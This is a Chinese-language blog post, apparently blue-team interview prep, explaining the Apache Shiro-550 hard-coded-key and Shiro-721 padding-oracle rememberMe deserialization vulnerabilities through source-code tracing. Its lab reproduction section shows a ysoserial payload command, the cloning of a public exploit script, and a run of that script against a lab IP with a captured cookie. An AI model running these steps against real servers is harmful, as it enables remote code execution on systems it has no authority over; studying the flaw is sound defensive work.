shiro550
环境搭建
shiro-550 IDEA环境配置:https://blog.csdn.net/qq_47886905/article/details/123479769
漏洞代码:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
漏洞原理
双击shift快捷键检索cookie关键词,看到CookieRememberMeManager
类继承了AbstractRememberMeManager
ctrl+B对AbstractRememberMeManager
进行跟进,可以看到又继承RememberMeManager
接口,并且在此路径看到key
ctrl+B继续跟进,用gpt代码审计,主要是登录成功,失败,退出的一些接口服务
我们对项目进行断点深入分析
调用forgetIdentity
方法对subject(当前用户)
进行清除存储身份信息,确保旧的remember
不会影响当前会话
接着判断是否使用remember
,来确定是否调用rememberIdentity(subject, token, info)
保存信息
否则日志记录该行为
继续跟进forgetIdentity
方法
获取getCookie()
后使用removeFrom
方法->response
头部添加rememberMe=deleteMe
回到上步是否保存信息进入rememberIdentity
方法,调用convertPrincipalsToBytes
,将身份信息转换为字节数组保存序列化后的身份信息,若不为null则并对字节数组进行AES
加密
getCipherService()
和 getEncryptionCipherKey()
的实现,它们分别提供了加密服务和密钥获取。
对加密的key
进行base64
加密,保存至cookie
中
总结:
1.2.4版本之前密钥都是固定的
获取cookie
中的remember
值-->base64解码
-->AES解码
-->反序列化
漏洞关键点在与密钥固定,而官方修复方法就是生成随机密钥
攻击手法进而变成从项目中找固定密钥-->信息收集密钥进行爆破
漏洞复现与利用
通过相关语法搜索相关资产
shiro721
环境搭建
1.2.5 <= Apache Shiro <= 1.4.1
源码:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.5
AES-128-CBC加密:AES代表加密方式,CBC是分组模式,128也就是16个字节
漏洞原理
shiro550
将硬编码进源码里,shiro721
是动态生成的
跟进方法generateNewKey()
SecureRandom
生成随机数
接着调用了generateKey
生成16字节的随机序列,通过getEncoded()
获取key序列
漏洞复现与利用
勾选remember me,错误登录返回deleteMe
,
使用已知用户凭证获取正常序列化数据,登录成功后访问http://192.168.30.130:8080/account/,得到cookie中remember me的值
使用序列化工具生成在目标靶机中创建/tmp/test的payload
java -jar ysoserial-all.jar CommonsCollections1 'touch /tmp/test' > payload.class
通过git对其padding oracle attack poc进行下载
git clone https://github.com/wuppp/shiro_rce_exp.git
使用此exp进行爆破
python shiro_exp.py http://192.168.30.130:8080/account/ lexZegdw5tYxwYlllZs+9plLNEqThTJoxUrW3euVVNtTkxYKRsrLWN/arI7XJs8FdaLZgWFlT0K2hEFWBsFgO6GzDN2zjPye/8wGqOde+laAklFjWBmUvjmGtd6J8Uy/viZzK1Usp2cnAkmWsSnxVcKoGQhYN0FxBQwWzqNJLr+SQkqWqGrcW+Hicc2ZBHADaTLsQ59dTeiYwhobJFnTsIoScW+DxD+ROuP2YzcpRxA2m1LiIsfNqmT3v0s3WAeoXLXD9X8K42zQSV8G+FcctKU6/c+fWuwjzAPQOFTBld8PtTZcNBAmWJDN7VxvVuQ29+/7v22xlxWLZaiQ5HJYvOngdQLQAWF83MKCfhmLPwXGYfgBr0piJCEUbzlyWCfdrITdZo1kjM7/iZ8tlss9idcqWlSRpDRHTx4C0WGBS7Iy4s/t8BXjkVD8sNQ+bhuNl3vEZr3PMDBOOGzoUe0YSfMtpwR4rkXtTYreoS5wMRkYtZprgbwptS6soVvH06Nf payload.class
然后就是漫长的等待
使用生成的cookie重放数据,就可以成功执行命令
总结
shiro550:获取cookie
中的remember
值-->base64解码
-->AES解码
-->反序列化
用户打开remember me
功能后会在请求包生成一个cookie,是经过序列化-aes加密-base64加密
的字符串,关键点在于aes密钥是默认的,能构造恶意代码导致RCE漏洞,恶意代码:序列化-aes加密-base64编码-发送恶意cookie
shiro721:采用AES-128-CBC加密,可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,重新请求网站,进行反序列化攻击
主要区别:shiro550使用已知密钥,足够密钥就可以进行rce利用,不需要remember me 的cookie
shiro721的AES加密的key为系统随机生成,需要利用登录后的remember me去爆破正确key值,利用有效的rememberme cookie作为padding attack的前缀,构造反序列化攻击
原文始发于微信公众号(flowers-boy):一文讲懂蓝队面试shiro漏洞知识点
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论